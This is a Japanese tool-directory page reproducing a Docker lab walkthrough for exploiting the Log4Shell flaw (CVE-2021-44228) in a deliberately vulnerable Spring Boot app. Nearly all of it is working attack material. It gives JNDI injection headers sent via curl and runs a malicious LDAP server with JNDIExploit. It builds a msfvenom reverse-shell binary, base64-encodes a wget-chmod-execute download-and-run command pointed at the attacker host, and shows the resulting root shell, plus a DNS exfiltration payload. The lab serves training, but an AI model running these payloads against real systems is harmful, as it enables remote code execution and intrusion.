Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
spring-boot-log4j-cve-2021-44228-docker-lab — Spring Boot Log4j - CVE-2021-44228 Dockerラボ | Kitploit
ツール/GitHubGitHub/twseptian/spring-boot-log4j-cve-2021-44228-docker-lab
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド&コントロール学習と教育ラボと実践
GitHubtwseptian/spring-boot-log4j-cve-2021-44228-docker-lab

spring-boot-log4j-cve-2021-44228-docker-lab

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Spring Boot Log4j - CVE-2021-44228 Dockerラボ

リポジトリを見る
272024年前Kitploit レビュー済み

Spring Boot Log4j - CVE-2021-44228

Log4Shell 脆弱性 (CVE-2021-44228) は、最終的には非常に単純な JNDI インジェクションの欠陥ですが、非常に非常に悪い場所にあります。Log4J は、ログメッセージ内のプレースホルダーを展開する際(またはフォーマットメッセージのパラメーターとして間接的に)JNDI lookup() を実行します。...続きを読む PSA: Log4Shell と JNDI インジェクションの現状。

Dockerラボのセットアップ

注: この Dockerfile は元々 Log4Shell sample vulnerable application (CVE-2021-44228) から来ています。Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1 経由)と JDK 1.8.0_181 を使用しています。

CVE-2021-44228 を学び・試すためのコンテナラボです。リポジトリをクローンしましょう。

root@kitploit:~
$ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
$ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
$ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
$ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

spring-boot-v2.6.1

JNDI-Injection-Exploit を使用したエクスプロイト

ターゲット: 172.17.0.2
攻撃者: 172.17.0.1

  • https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 から JNDIExploit をダウンロードしてください Update (Dec 13th): JNDIExploit リポジトリは GitHub から削除されました。
root@kitploit:~
$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
  • コマンドラインを base64 でエンコードします。この例では、ターゲットマシンから攻撃者マシンに ping コマンドを送信します。
root@kitploit:~
$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK
  • JNDIExploit を使用して悪意のある LDAP サーバーを起動します。
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • 次に、以下のコマンドを実行してターゲットマシンから ping コマンドをトリガーします。
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
  • JNDIExploit からの出力を見てみましょう。
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200
  • 次に、tcpdump を使用してターゲットマシンからの ping コマンドをキャプチャできます。
root@kitploit:~
$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64

リモートコード実行 - CTF スタイル 「リバースシェルを取得する方法」

  • msfvenom を使用してリバースシェルファイルを作成します。
root@kitploit:~
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf
  • 攻撃マシン上で python を使用してローカルサーバーを準備します。
root@kitploit:~
$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
  • 以下のコマンドラインを base64 でエンコードします。
root@kitploit:~
wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
  • base64 出力をコピーします。
root@kitploit:~
$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
  • JNDIExploit を使用して悪意のある LDAP サーバーを起動します。
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...
  • 次に、以下のコマンドを実行してコマンドをトリガーします。
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!
  • 攻撃マシンで netcat リバースシェルを開始します nc -lvnp 4444、すると netcat がリバースシェルをトリガーします。
root@kitploit:~
$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root
  • JNDIExploit からの出力
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200

Burp Suite Collaborator を使用したホスト名の取得

  • ペイロード
root@kitploit:~
${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}

dns-query.png

参考文献:

  • Log4Shell: 人気のJavaロギングパッケージlog4j 2で発見されたRCEゼロデイエクスプロイト
  • PSA: Log4ShellとJNDIインジェクションの現状
  • Log4Shell sample vulnerable application (CVE-2021-44228)
  • JNDIExploit Update (Dec 13th): The JNDIExploit repository has been removed from GitHub
ツールをダウンロード